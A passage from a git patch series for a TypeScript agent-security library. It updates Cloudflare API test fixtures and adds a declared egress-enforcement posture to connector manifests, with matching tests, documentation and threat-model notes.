test:credentialed:direct', + ); + }); +}); diff --git a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts index c3fc95d5..ea5e42b5 100644 --- a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts +++ b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts @@ -76,10 +76,13 @@ export function envelope(result: unknown): Response { export function zoneAuthorityResponse( url: URL, - zoneIds: readonly string[], + zoneIds: readonly (string | { id: string; name?: string })[], routes?: readonly WorkerRoute[], ): Response | undefined { - if (url.pathname.endsWith('/user/tokens/verify')) { + if ( + url.pathname.endsWith('/user/tokens/verify') || + url.pathname.endsWith('/accounts/account/tokens/verify') + ) { return envelope({ id: 'token-id', status: 'active' }); } if (url.pathname.endsWith('/accounts/account/tokens/token-id')) { @@ -106,12 +109,32 @@ export function zoneAuthorityResponse( } if (url.pathname.endsWith('/zones')) { expect(url.searchParams.get('account.id')).toBe('account'); - if (Number(url.searchParams.get('page') ?? '1') !== 1) return envelope([]); - return envelope(zoneIds.map((id) => ({ id, account: { id: 'account' } }))); + if (Number(url.searchParams.get('page') ?? '1') !== 1) + return pageArray([], { + page: Number(url.searchParams.get('page')), + per_page: 20, + }); + return envelope( + zoneIds.map((zone) => ({ + ...(typeof zone === 'string' ? { id: zone } : zone), + account: { id: 'account' }, + })), + ); } const parts = url.pathname.split('/').filter(Boolean); const zoneIndex = parts.indexOf('zones'); const zoneId = zoneIndex >= 0 ? parts[zoneIndex + 1] : undefined; + if (zoneId && url.pathname.endsWith(`/zones/${zoneId}`)) { + const zone = zoneIds.find((zone) => + typeof zone === 'string' ? zone === zoneId : zone.id === zoneId, + ); + return zone + ? single({ + ...(typeof zone === 'string' ? { id: zone } : zone), + account: { id: 'account' }, + }) + : Response.json({ errors: [] }, { status: 404 }); + } if (routes && zoneId && url.pathname.endsWith('/workers/routes')) { return envelope( routes @@ -303,12 +326,15 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { status: 403, }); } - const authority = zoneAuthorityResponse( - target, - world.zones.map(({ id }) => id), - world.routes, - ); + const authority = zoneAuthorityResponse(target, world.zones, world.routes); if (authority) return authority; + if (method === 'GET' && target.pathname === '/client/v4/accounts/account') + return single({ id: 'account' }); + if ( + method === 'GET' && + target.pathname === '/client/v4/accounts/account/workers/subdomain' + ) + return single({ subdomain: 'attested-account' }); const parts = target.pathname.split('/').filter(Boolean); const routeIndex = parts.indexOf('routes'); const routeId = routeIndex >= 0 ? parts[routeIndex + 1] : undefined; @@ -327,12 +353,15 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { body && typeof body === 'object' ? Reflect.get(body, name) : undefined; if (target.pathname.endsWith('/d1/database') && method === 'GET') { if (Number(target.searchParams.get('page') ?? '1') !== 1) - return pageArray([]); + return pageArray([], { page: Number(target.searchParams.get('page')) }); const requestedName = target.searchParams.get('name'); return pageArray( world.databases .filter( - ({ name }) => requestedName === null || name === requestedName, + ({ name }) => + requestedName === null || + name === requestedName || + name.startsWith(requestedName), ) .map(({ databaseId, name }) => ({ uuid: databaseId, @@ -433,7 +462,7 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { } if (target.pathname.endsWith('/workers/scripts') && method === 'GET') { if (Number(target.searchParams.get('page') ?? '1') !== 1) - return pageArray([]); + return pageArray([], { page: Number(target.searchParams.get('page')) }); return pageArray( [...world.scripts.entries()].flatMap(([id, script]) => script.present ? [{ id }] : [], @@ -490,7 +519,7 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { method === 'GET' ) { if (Number(target.searchParams.get('page') ?? '1') !== 1) - return pageArray([]); + return pageArray([], { page: Number(target.searchParams.get('page')) }); return pageArray( world.durableObjectNamespaces.map((namespace) => ({ id: namespace.id, @@ -505,6 +534,7 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { ) { return pageArray( world.dispatchNamespaces.map((namespace) => ({ + namespace_id: namespace.name, namespace_name: namespace.name, trusted_workers: false, script_count: namespace.scripts.length, @@ -625,7 +655,7 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { } if (target.pathname.endsWith('/secrets') && method === 'GET') { if (Number(target.searchParams.get('page') ?? '1') !== 1) - return pageArray([]); + return pageArray([], { page: Number(target.searchParams.get('page')) }); return pageArray( [...script.secretNames].sort().map((name) => ({ name })), ); @@ -668,7 +698,7 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { deployments: script.deployment ? [ { - id: 'deployment', + id: script.deploymentId ?? 'deployment', created_on: '2026-08-26T00:00:00.000Z', source: 'api', strategy: 'percentage', @@ -685,7 +715,7 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { } if (target.pathname.endsWith('/versions') && method === 'GET') { if (Number(target.searchParams.get('page') ?? '1') !== 1) - return pageItems([]); + return pageItems([], { page: Number(target.searchParams.get('page')) }); return pageItems( script.versions.map(({ versionId, tag }) => ({ id: versionId, @@ -760,7 +790,10 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { if (uploadFailure) await world.applyAfter('uploadCandidate'); else await world.applyAfter('disablePublicAccess'); if (failure) return failure.response ?? failureResponse(failure); - return single({ enabled: script.subdomain.enabled }); + return single({ + enabled: script.subdomain.enabled, + previews_enabled: script.subdomain.previewsEnabled, + }); } if (target.pathname.endsWith('/deployments') && method === 'POST') { const versions = bodyField('versions'); diff --git a/packages/fleet-control/test/fixtures/direct-reference-harness.ts b/packages/fleet-control/test/fixtures/direct-reference-harness.ts index 06bfa417..ea70847c 100644 --- a/packages/fleet-control/test/fixtures/direct-reference-harness.ts +++ b/packages/fleet-control/test/fixtures/direct-reference-harness.ts @@ -299,10 +299,12 @@ export async function createDirectReferenceHarness( : undefined; if ( request.method === 'GET' && - url.pathname.endsWith('/deployments/deployment') + url.pathname.endsWith( + `/deployments/${script?.deploymentId ?? 'deployment'}`, + ) ) return single({ - id: 'deployment', + id: script?.deploymentId ?? 'deployment', strategy: 'percentage', versions: script?.deployment?.map(({ versionId, percentage }) => ({ version_id: versionId, @@ -358,6 +360,16 @@ export async function createDirectReferenceHarness( ? new Response(await value.arrayBuffer()) : new Response(null, { status: 404 }); } + if ( + request.method === 'DELETE' && + url.pathname.startsWith( + `/client/v4/accounts/account/r2/buckets/${binding.exportBucketName}/objects/`, + ) + ) { + const key = decodeURIComponent(url.pathname.split('/objects/')[1] ?? ''); + await exportBytes.delete(key); + return single({}); + } let response = await rest(request); if (metadata && response.ok && scriptName) { const current = world.scripts.get(scriptName); @@ -584,14 +596,17 @@ export async function createDirectReferenceHarness( ); if ( typeof requested !== 'string' || - !records.some((record) => - record?.applicationResources?.some( - (resource) => - resource.bucketName === requested && - resource.jurisdiction === jurisdiction && - resource.state === 'create-authorized', - ), - ) + (!( + requested === binding.exportBucketName && jurisdiction === 'default' + ) && + !records.some((record) => + record?.applicationResources?.some( + (resource) => + resource.bucketName === requested && + resource.jurisdiction === jurisdiction && + resource.state === 'create-authorized', + ), + )) ) throw new Error('unexpected fixture bucket'); const key = `${jurisdiction}:${requested}`; @@ -619,6 +634,7 @@ export async function createDirectReferenceHarness( const key = `${jurisdiction}:${name}`; if ( !match[2] && + name !== binding.exportBucketName && request.method === 'GET' && world.consumeFailure('getApplicationR2Bucket') ) @@ -632,6 +648,16 @@ export async function createDirectReferenceHarness( const descriptor = buckets.get(key); if (!descriptor) return Response.json({ errors: [] }, { status: 404 }); const prefix = `${key}/`; + if ( + name === binding.exportBucketName && + match[2] && + request.method === 'GET' + ) { + const objects = await exportBytes.list({ + prefix: url.searchParams.get('prefix') ?? '', + }); + return single(objects.objects.map(({ key }) => ({ key }))); + } if (match[2] && request.method === 'GET') { expect(url.searchParams.get('per_page')).toBe('1'); const objects = await applicationBytes.list({ @@ -653,6 +679,13 @@ export async function createDirectReferenceHarness( } if (!match[2] && request.method === 'GET') return single(descriptor); if (!match[2] && request.method === 'DELETE') { + if (name === binding.exportBucketName) { + const objects = await exportBytes.list({ limit: 1 }); + if (objects.objects.length) + return new Response('bucket nonempty', { status: 409 }); + buckets.delete(key); + return single({}); + } const failure = world.consumeFailure('deleteApplicationR2Bucket'); const failed = () => Response.json( @@ -936,6 +969,7 @@ let instance; export default {async fetch(request,env){instance??=crypto.randomU return exportBytes; }, buckets, + versionRuntime, bridgeErrors, sqlFailures, bridgeUrl, diff --git a/packages/fleet-control/test/fixtures/provider-world.ts b/packages/fleet-control/test/fixtures/provider-world.ts index 0caec573..8085caa0 100644 --- a/packages/fleet-control/test/fixtures/provider-world.ts +++ b/packages/fleet-control/test/fixtures/provider-world.ts @@ -117,6 +117,7 @@ export interface ProviderScript { present: boolean; versions: ProviderVersion[]; deployment?: Array<{ versionId: string; percentage: number }>; + deploymentId?: string; subdomain: { enabled: boolean; previewsEnabled: boolean }; secretNames: Set; } @@ -290,7 +291,7 @@ export class ProviderWorld { hostname: string; service: string; }> = []; - readonly zones: Array<{ id: string }> = []; + readonly zones: Array<{ id: string; name?: string }> = []; readonly routes: WorkerRoute[] = []; readonly durableObjectNamespaces: Array<{ id: string; @@ -407,6 +408,7 @@ export class ProviderWorld { ...(script.deployment ? { deployment: script.deployment.map((version) => ({ ...version })) } : {}), + ...(script.deploymentId ? { deploymentId: script.deploymentId } : {}), subdomain: { ...script.subdomain }, secretNames: script.secretNames ?? @@ -540,6 +542,7 @@ export class ProviderWorld { present: script.present, versions: script.versions, ...(script.deployment ? { deployment: script.deployment } : {}), + ...(script.deploymentId ? { deploymentId: script.deploymentId } : {}), subdomain: script.subdomain, secretNames: new Set(script.secretNames), }); From 7eb450ff6c50100792b6619223a89726b07a91da Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 14 Sep 2026 07:37:03 +0400 Subject: [PATCH 146/169] feat(breakwater): declare and audit connector egress posture A connector's manifest declares the hosts it may reach. The host list alone does not say whether that declaration binds the connector's traffic: a connector whose vendor SDK or child process carries its own transport declares hosts the guarded fetch never sees. A deployment where the guarded fetch is the only egress boundary needs that distinction at construction, at runtime, and in the audit log. permissions.egressEnforcement on PermissionManifest carries the posture: 'enforced' declares that every HTTP request leaves through ConnectorRuntime.fetch, 'declaration-only' that another transport carries it. 'enforced' is a claim about HTTP traffic and not about platform bindings, so it covers a connector that issues no HTTP request at all. An omitted field stays absent from the manifest and resolves to 'declaration-only'. Construction throws a TypeError for a value outside the two literals. connectorEgressPosture(tool) returns the resolved posture for a tool createConnector built and undefined for any other, exported beside connectorManifest(tool). record() adds that posture to every connector audit event as detail.egressEnforcement, spread last so a per-event detail does not replace it. policies.requireEgressEnforcement refuses at construction a connector whose resolved posture is not 'enforced'. singleTenantConnectorPolicies accepts the same flag, freezes it into the policies it returns, and refuses a policy object whose flag changed after validation. The Agent CLI adapters declare 'declaration-only', matching their child-process boundary, so a deployment that sets the flag cannot construct one. The packed-consumer script imports connectorEgressPosture and the ConnectorEgressPosture type from the packed tarball and asserts the resolver and the refusal there. The agent-starter manifests declare 'enforced', and its smoke test reads the record-action connector's posture back through the compiled package. CONNECTORS.md and docs/connector-interface.md describe the field and the refusal; the package README, docs/breakwater-architecture.md and docs/security-threat-model.md describe the field. A minor changeset records the addition. Co-Authored-By: Claude Fable 5.1 --- .changeset/connector-egress-posture.md | 21 ++ docs/breakwater-architecture.md | 2 +- docs/connector-interface.md | 14 +- docs/security-threat-model.md | 2 +- packages/agent-starter/src/agent.ts | 1 + .../agent-starter/src/conformance/actions.ts | 6 +- .../agent-starter/src/conformance/workflow.ts | 6 +- .../agent-starter/test/agent.smoke.test.ts | 11 + packages/breakwater/CONNECTORS.md | 13 +- packages/breakwater/README.md | 7 +- .../scripts/packed-consumer-test.mjs | 16 ++ .../src/agent-cli/agent-cli.test.ts | 21 ++ packages/breakwater/src/agent-cli/index.ts | 3 + .../src/connector-sdk/connector-sdk.test.ts | 200 ++++++++++++++++++ .../breakwater/src/connector-sdk/index.ts | 52 ++++- .../single-tenant-preset.test.ts | 70 ++++++ .../src/connector-sdk/single-tenant-preset.ts | 13 ++ packages/breakwater/src/index.ts | 2 + 18 files changed, 451 insertions(+), 9 deletions(-) create mode 100644 .changeset/connector-egress-posture.md diff --git a/.changeset/connector-egress-posture.md b/.changeset/connector-egress-posture.md new file mode 100644 index 00000000..f9da30a4 --- /dev/null +++ b/.changeset/connector-egress-posture.md @@ -0,0 +1,21 @@ +--- +'@proofoftech/breakwater': minor +--- + +Add an egress posture to the connector manifest. `permissions.egressEnforcement` declares whether +the declared hosts bind the connector's actual traffic — `'enforced'` when every **HTTP** request +leaves through `ConnectorRuntime.fetch`, `'declaration-only'` when a vendor SDK or child process +carries its own transport. It is a claim about HTTP traffic, not about platform bindings (D1, KV, R2, +service bindings), which the guard never sees, so a connector that issues no HTTP request at all is +`'enforced'`. An omitted field resolves to `'declaration-only'`. + +`connectorEgressPosture(tool)` reads the resolved posture beside `connectorManifest(tool)`, and every +connector audit event carries it as `detail.egressEnforcement`, so an operator can answer which +connectors have real egress enforcement from the log. + +`policies.requireEgressEnforcement` refuses, at construction, a connector whose posture is not +`'enforced'`; the single-tenant preset accepts and pins the same flag. Construction also rejects an +`egressEnforcement` value outside the two literals. The Agent CLI adapters declare +`'declaration-only'`, matching their documented child-process boundary — so a deployment that sets +`policies.requireEgressEnforcement` cannot register an Agent CLI adapter, by design. Put the child +behind an infrastructure boundary, or leave the flag off for that deployment. diff --git a/docs/breakwater-architecture.md b/docs/breakwater-architecture.md index 9ba916f5..06b3cd1b 100644 --- a/docs/breakwater-architecture.md +++ b/docs/breakwater-architecture.md @@ -161,7 +161,7 @@ The manifest declaration and injected fetch are separate checks: Cross-origin redirect hops strip credential headers. A 307/308 redirect with a one-shot stream body is refused because replaying it safely is impossible. -This is not socket interception. Code that calls global `fetch`, opens a socket, or uses an SDK with an independent HTTP stack bypasses runtime-fetch enforcement. Inject `runtime.fetch` into compatible SDKs and apply infrastructure egress controls around the process. +This is not socket interception. Code that calls global `fetch`, opens a socket, or uses an SDK with an independent HTTP stack bypasses runtime-fetch enforcement. Inject `runtime.fetch` into compatible SDKs and apply infrastructure egress controls around the process. A connector using an independent transport declares `egressEnforcement: 'declaration-only'`, readable through `connectorEgressPosture()` and recorded in connector audit events as `detail.egressEnforcement`. ## Replay and rate budgets diff --git a/docs/connector-interface.md b/docs/connector-interface.md index 4d08a573..fbae5418 100644 --- a/docs/connector-interface.md +++ b/docs/connector-interface.md @@ -90,6 +90,7 @@ The helper accepts only an unmodified `Connector` created by `createConnector()` interface PermissionManifest { sideEffect: 'read' | 'write' | 'destructive' | 'idempotent'; egress?: readonly string[]; + egressEnforcement?: 'enforced' | 'declaration-only'; idempotencyKey?: boolean; requiresApproval?: boolean; dryRun?: boolean; @@ -128,6 +129,14 @@ Hostnames: Declare redirect and regional hosts. Actual redirect hops must also remain within the list. +### `egressEnforcement` + +`enforced` asserts that every HTTP request leaves through `ConnectorRuntime.fetch`, including a connector that issues no HTTP requests. This declaration concerns HTTP traffic; it excludes platform bindings such as D1, KV, R2, and service bindings, which the guard never sees. `declaration-only` states that a vendor SDK or child process uses its own transport: organization policy checks the declared hosts, but the guard cannot check its sockets. + +An omitted field resolves to `declaration-only`, because enforcement has not been established. `connectorEgressPosture(tool)` reads the resolved value and returns `undefined` for a tool that `createConnector()` did not build. The manifest itself retains the author's declaration without inserting a default, and connector audit events record the resolved value as `detail.egressEnforcement`. + +Set `policies.requireEgressEnforcement: true` to refuse construction unless the posture is `enforced`. The single-tenant preset accepts and pins the same flag. Construction rejects posture values outside the two literals. + ### `idempotencyKey` When `true`, every real call needs a non-empty key in `breakwater.idempotencyKey`. The wrapper stores the successful result and replays it on another call with the same scoped key. @@ -190,6 +199,8 @@ Authorization audit records the required identifiers and the resolution's `polic ## Deployment policy +`requireEgressEnforcement` refuses construction of a connector whose resolved egress posture is not `enforced`. + ```typescript interface ConnectorPolicies { networkEgress?: NetworkEgressOptions; @@ -200,6 +211,7 @@ interface ConnectorPolicies { rateLimitStore?: RateLimitStore; audit?: AuditLogger; fetch?: EgressFetchBase; + requireEgressEnforcement?: true; } ``` @@ -363,7 +375,7 @@ The wrapper does not intercept: - a vendor SDK's private transport; - the child process used by an Agent CLI connector. -Inject `runtime.fetch` into compatible SDKs. Apply infrastructure network policy for process-wide enforcement. +Inject `runtime.fetch` into compatible SDKs. Apply infrastructure network policy for process-wide enforcement. A connector using a transport outside the guard declares `egressEnforcement: 'declaration-only'`; `connectorEgressPosture()` reads that declaration and connector audit events record it as `detail.egressEnforcement`. ## Approval context diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index 9eb1f574..88134d3f 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -321,7 +321,7 @@ A host with only one human reviewer must consciously choose availability or sepa | Provider alarm lost after subscription | Post-commit reconcile callback and retryable mutation-applied response | Hosts that omit reconciliation must arm polling themselves | | Duplicate connector side effect | Collision-proof v2 keys, fail-closed legacy inspection, atomic idempotency lease, and shared store | Poor business keys or too-short pending TTL can still duplicate | | One workload exhausts the deployment budget | Deployment-wide D1 rate state and host-set limits | Fixed-window boundary burst remains | -| Connector redirects to attacker host | Manual per-hop guarded fetch | Transport outside runtime fetch is invisible | +| Connector redirects to attacker host | Manual per-hop guarded fetch | Transport outside runtime fetch is invisible; connectors declare `egressEnforcement: 'declaration-only'`, readable through `connectorEgressPosture()` and audited as `detail.egressEnforcement` | | Credentials forwarded on redirect | Cross-origin credential-header stripping | Connector body may itself contain secrets | | Prompt becomes CLI flag | Wrapper-owned `--` and `--flag=value` | Vendor semantics can change; packed consumer tests pin current definitions | | Prompt/output leaks in error or audit | Static errors, redacted command, bounded metadata, safe audit registry | Successful functional text remains sensitive and caller-owned | diff --git a/packages/agent-starter/src/agent.ts b/packages/agent-starter/src/agent.ts index caf4e7f2..12f67589 100644 --- a/packages/agent-starter/src/agent.ts +++ b/packages/agent-starter/src/agent.ts @@ -97,6 +97,7 @@ export function createRecordActionConnector(db: Env['DB']) { }, permissions: { sideEffect: 'write', + egressEnforcement: 'enforced', requiresApproval: true, rateLimit: '10/min', }, diff --git a/packages/agent-starter/src/conformance/actions.ts b/packages/agent-starter/src/conformance/actions.ts index fc91e5c9..630427d2 100644 --- a/packages/agent-starter/src/conformance/actions.ts +++ b/packages/agent-starter/src/conformance/actions.ts @@ -144,7 +144,11 @@ function createEgressProbeConnector(hostname: string) { description: 'Probe one upstream through the connector egress guard', inputSchema: z.object({ url: z.string().url() }), outputSchema: z.object({ upstreamStatus: z.number() }), - permissions: { sideEffect: 'read', egress: [hostname] }, + permissions: { + sideEffect: 'read', + egress: [hostname], + egressEnforcement: 'enforced', + }, execute: async ({ url }, _context, runtime) => { const response = await runtime.fetch(url, { redirect: 'manual' }); return { upstreamStatus: response.status }; diff --git a/packages/agent-starter/src/conformance/workflow.ts b/packages/agent-starter/src/conformance/workflow.ts index d373b470..4e60f7c8 100644 --- a/packages/agent-starter/src/conformance/workflow.ts +++ b/packages/agent-starter/src/conformance/workflow.ts @@ -73,7 +73,11 @@ function createRecordEffectConnector(db: D1Database) { // Grant-only, exactly as the workerd spike proves it: the write gate is // satisfied by a requestContext grant the runtime derives from an APPROVED // record, never by anything in the resume body. - permissions: { sideEffect: 'write', requiresApproval: true }, + permissions: { + sideEffect: 'write', + egressEnforcement: 'enforced', + requiresApproval: true, + }, execute: async ({ effectNonce, runId }) => { await db.prepare(EFFECTS_DDL).run(); const result = await db diff --git a/packages/agent-starter/test/agent.smoke.test.ts b/packages/agent-starter/test/agent.smoke.test.ts index 13b6596c..f6122a7b 100644 --- a/packages/agent-starter/test/agent.smoke.test.ts +++ b/packages/agent-starter/test/agent.smoke.test.ts @@ -5,6 +5,7 @@ import { ACTOR_CONTEXT_KEY, AuditLogger, ConnectorPolicyError, + connectorEgressPosture, invokeConnector, } from '@proofoftech/breakwater'; import { describe, expect, it, vi } from 'vitest'; @@ -30,6 +31,16 @@ function sideEffectTrap(): { } describe('advanced starter agent', () => { + it('declares an enforced egress posture on the starter record-action connector', () => { + // #given + const { db, prepare } = sideEffectTrap(); + // #when + const connector = createRecordActionConnector(db); + // #then + expect(connectorEgressPosture(connector)).toBe('enforced'); + expect(prepare).not.toHaveBeenCalled(); + }); + it('generates deterministically without a provider credential or side effect', async () => { const { db, prepare } = sideEffectTrap(); const events: unknown[] = []; diff --git a/packages/breakwater/CONNECTORS.md b/packages/breakwater/CONNECTORS.md index 16dcb6e7..6ff0d8e6 100644 --- a/packages/breakwater/CONNECTORS.md +++ b/packages/breakwater/CONNECTORS.md @@ -157,6 +157,7 @@ degraded store or a stale idempotency reservation takeover. | --- | --- | --- | | `sideEffect` | The worst state change the connector can cause | `read` is read-only. `write`, `destructive`, and `idempotent` are write-class. `destructive` requires approval by default. Mastra MCP hints are derived from this value. | | `egress` | Every hostname the connector contacts | Entries must be bare hosts or leading `*.` wildcards. The organization policy gates the declared list. `runtime.fetch` gates actual HTTP(S) requests and redirect hops against the declaration. An empty or absent list means no network through that fetch. | +| `egressEnforcement` | Whether the declared list binds actual traffic | `enforced` asserts every HTTP request leaves through `runtime.fetch`, and covers a connector that issues no HTTP request at all: it is a claim about HTTP traffic, not about platform bindings (D1, KV, R2, service bindings), which the guard never sees. `declaration-only` states a vendor SDK or child process carries its own transport. An omitted field resolves to `declaration-only`. `connectorEgressPosture()` reads the resolved value and every connector audit event carries it. | | `requiresApproval` | This connector always needs human approval | Real execution requires a matching structured grant in `breakwater.connectorGrants`, regardless of call path. Mastra's native approval pause is also enabled, but the grant remains the authorization token. | | `dryRun` | A side-effect-free simulation exists | Requires `dryRunExecute`. The wrapper rejects a `dryRunExecute` that the manifest does not declare. A dry-run request never falls through to real execution. | | `idempotencyKey` | Repeated operation identities must replay | Requires `policies.idempotencyStore` and a non-empty `breakwater.idempotencyKey` for each real call. | @@ -175,6 +176,10 @@ derives MCP `readOnlyHint`, `destructiveHint`, `idempotentHint`, and `openWorldHint` annotations from this manifest. These hints describe the tool; the wrapper remains the enforcement boundary. +`connectorEgressPosture(tool)` reads the resolved egress posture, defaulting to +`declaration-only` when the manifest omits it and returning `undefined` for +a tool that `createConnector()` did not build. + `background: true` only tells the breakwater wrapper that a read connector can accept background intent. Mastra owns whether an agent or tool is eligible for background execution. On the normal agent path, Mastra removes `_background` @@ -197,6 +202,7 @@ contain `_background`. | `rateLimitStore` | Atomic fixed-window counters | `permissions.rateLimit` is present. | | `audit` | Structured decision sink | Optional but recommended for every production deployment. | | `fetch` | Base fetch wrapped by `runtime.fetch` | Optional. Inject vendor mocks in tests or a platform fetch in nonstandard runtimes. | +| `requireEgressEnforcement` | Refuse a connector whose posture is not `enforced` | Optional. Set it where the guarded fetch is the only network boundary. | The included tool evaluators are: @@ -473,6 +479,8 @@ The guard cannot see global `fetch`, a vendor SDK with its own transport, a raw socket, or child-process traffic. Pass `runtime.fetch` into SDKs that support a custom fetch or transport. Use a container, VM, or network policy when traffic outside this seam must also be denied. +Declare `egressEnforcement: 'declaration-only'` when traffic bypasses the +guard; the posture makes that degradation explicit and auditable. ## Handle errors and audit safely @@ -606,7 +614,10 @@ safe. The child does not use `ConnectorRuntime.fetch`. Its provider egress list is therefore enforced as a declaration against the organization policy, not as socket-level interception. Apply host network controls for actual child -traffic. +traffic. The adapter declares `egressEnforcement: 'declaration-only'`. +A deployment that sets `policies.requireEgressEnforcement` cannot register an +Agent CLI adapter: construction throws a `TypeError`. Put the child behind an +infrastructure boundary, or leave the flag off for that deployment. ### Know the CLI data boundary diff --git a/packages/breakwater/README.md b/packages/breakwater/README.md index 430db1a4..61472156 100644 --- a/packages/breakwater/README.md +++ b/packages/breakwater/README.md @@ -477,6 +477,9 @@ This enforcement cannot see: Route every connector request through `runtime.fetch`. Use host-level network controls when code outside that seam must also be constrained. +Declare `permissions.egressEnforcement: 'declaration-only'` for traffic outside +the guard; `connectorEgressPosture()` reads the resolved posture and connector +audit events record it as `detail.egressEnforcement`. ## Public API @@ -525,7 +528,7 @@ Use the [connector decision-code guide](https://github.com/ProofOfTechOrg/anchor | Runtime exports | Purpose | | --- | --- | -| `createConnector`, `connectorManifest` | Build an enforced Mastra connector and inspect its immutable manifest | +| `createConnector`, `connectorManifest`, `connectorEgressPosture` | Build an enforced Mastra connector and inspect its immutable manifest and resolved egress posture | | `invokeConnector` | Invoke an unmodified connector from trusted host or workflow code without fabricating a Mastra tool context | | `singleTenantConnectorPolicies` | Build the validated connector-policy baseline for one physically isolated deployment | | `ConnectorPolicyError`, `ConnectorStoreError`, `ConnectorEvaluatorError`, `ConnectorValidationError`, `ConnectorInvocationError` | Stable classification for authored connector failures | @@ -542,7 +545,7 @@ Type exports: `Connector`, `ConnectorInvocationOptions`, `PermissionManifest`, ` `SingleTenantPermissionPosture`, `ConnectorApprovalGrant`, `ConnectorApprovalGrantBase`, `ConnectorApprovalSuspension`, `ConnectorExecutionIdentity`, -`ConnectorRuntime`, `IdempotencyStore`, +`ConnectorRuntime`, `ConnectorEgressPosture`, `IdempotencyStore`, `AtomicIdempotencyStore`, `InspectableIdempotencyStore`, `IdempotencyInspection`, `IdempotencyRecord`, `IdempotencyReservation`, `RateLimitStore`, diff --git a/packages/breakwater/scripts/packed-consumer-test.mjs b/packages/breakwater/scripts/packed-consumer-test.mjs index 205ee120..6252888c 100644 --- a/packages/breakwater/scripts/packed-consumer-test.mjs +++ b/packages/breakwater/scripts/packed-consumer-test.mjs @@ -184,6 +184,7 @@ try { type AgentCliErrorCode, type AgentCliErrorMetadata, type ConnectorApprovalGrant, + type ConnectorEgressPosture, type ConnectorExecutionIdentity, type ConnectorInvocationOptions, type GuardedAgentCallOptions, @@ -204,6 +205,7 @@ import { migrateLegacyConnectorIdempotency as migrateLegacyConnectorIdempotencyFromSubpath, singleTenantConnectorPolicies as singleTenantConnectorPoliciesFromSubpath, type ConnectorApprovalSuspension, + type ConnectorEgressPosture as ConnectorEgressPostureFromSubpath, type SingleTenantConnectorPolicies, } from '@proofoftech/breakwater/connector-sdk'; import { PolicyEngine } from '@proofoftech/breakwater/policy-engine'; @@ -219,6 +221,8 @@ import type { AuditEvent } from '@proofoftech/breakwater/audit'; import { CODEX_CLI } from '@proofoftech/breakwater/agent-cli'; const code: AgentCliErrorCode = 'nonzero-exit'; +const posture: ConnectorEgressPosture = 'enforced'; +const postureFromSubpath: ConnectorEgressPostureFromSubpath = 'declaration-only'; const metadata: AgentCliErrorMetadata = { code }; const event = null as AuditEvent | null; const permission: Permission = 'payments.release'; @@ -397,6 +401,7 @@ import { CONNECTOR_EXECUTION_CONTEXT_KEY, CONNECTOR_GRANTS_CONTEXT_KEY, connectorManifest, + connectorEgressPosture, invokeConnector as invokeConnectorFromSubpath, singleTenantConnectorPolicies as singleTenantConnectorPoliciesFromSubpath, } from '@proofoftech/breakwater/connector-sdk'; @@ -587,11 +592,22 @@ assert.deepEqual(output, { assert.deepEqual(connectorManifest(tool), { sideEffect: 'write', egress: ['api.openai.com', 'chatgpt.com'], + egressEnforcement: 'declaration-only', requiresApproval: false, dryRun: true, rateLimit: undefined, idempotencyKey: undefined, }); +assert.equal(connectorEgressPosture(tool), 'declaration-only'); +assert.equal(connectorEgressPosture(presetRead), 'declaration-only'); +assert.equal(connectorEgressPosture({}), undefined); +assert.throws(() => createConnector({ + id: 'packed.unenforced', + description: 'Refused by the deployment posture gate', + execute: async () => ({ ok: true }), + permissions: { sideEffect: 'read' }, + policies: { requireEgressEnforcement: true }, +}), /requireEgressEnforcement/); assert.equal(JSON.stringify(output).includes(prompt), false); assert.equal(JSON.stringify(audit.events()).includes(prompt), false); diff --git a/packages/breakwater/src/agent-cli/agent-cli.test.ts b/packages/breakwater/src/agent-cli/agent-cli.test.ts index eec049b7..5d405459 100644 --- a/packages/breakwater/src/agent-cli/agent-cli.test.ts +++ b/packages/breakwater/src/agent-cli/agent-cli.test.ts @@ -14,6 +14,7 @@ import { ConnectorEvaluatorError, ConnectorPolicyError, ConnectorStoreError, + connectorEgressPosture, connectorManifest, DRY_RUN_CONTEXT_KEY, IDEMPOTENCY_KEY_CONTEXT_KEY, @@ -151,6 +152,26 @@ function expectProcessAbsent(pid: number): void { } describe('createClaudeCodeConnector', () => { + it('declares a declaration-only egress posture on the Agent CLI manifest', () => { + // #given + const exec = mockExec(); + // #when + const tools = [ + createAgentCliConnector(privateDefinition(), { exec }), + createClaudeCodeConnector({ exec }), + createCodexConnector({ exec }), + ]; + // #then + for (const tool of tools) { + expect(connectorManifest(tool)).toHaveProperty( + 'egressEnforcement', + 'declaration-only', + ); + expect(connectorEgressPosture(tool)).toBe('declaration-only'); + } + expect(exec).not.toHaveBeenCalled(); + }); + it('builds headless args, forwards cwd/timeout, parses the JSON result', async () => { // #given const exec = mockExec({ diff --git a/packages/breakwater/src/agent-cli/index.ts b/packages/breakwater/src/agent-cli/index.ts index cb0cb9d6..313028ca 100644 --- a/packages/breakwater/src/agent-cli/index.ts +++ b/packages/breakwater/src/agent-cli/index.ts @@ -486,6 +486,9 @@ export function createAgentCliConnector( // Write-class: the CLI mutates the workspace it runs in. sideEffect: 'write', egress: definition.egress, + // The child process carries its own transport; the list is checked + // against organization policy, never against the child's sockets. + egressEnforcement: 'declaration-only', requiresApproval: options.requiresApproval ?? true, dryRun: true, rateLimit: options.rateLimit, diff --git a/packages/breakwater/src/connector-sdk/connector-sdk.test.ts b/packages/breakwater/src/connector-sdk/connector-sdk.test.ts index 50a3dffe..26b2fe66 100644 --- a/packages/breakwater/src/connector-sdk/connector-sdk.test.ts +++ b/packages/breakwater/src/connector-sdk/connector-sdk.test.ts @@ -32,6 +32,7 @@ import { ConnectorPolicyError, 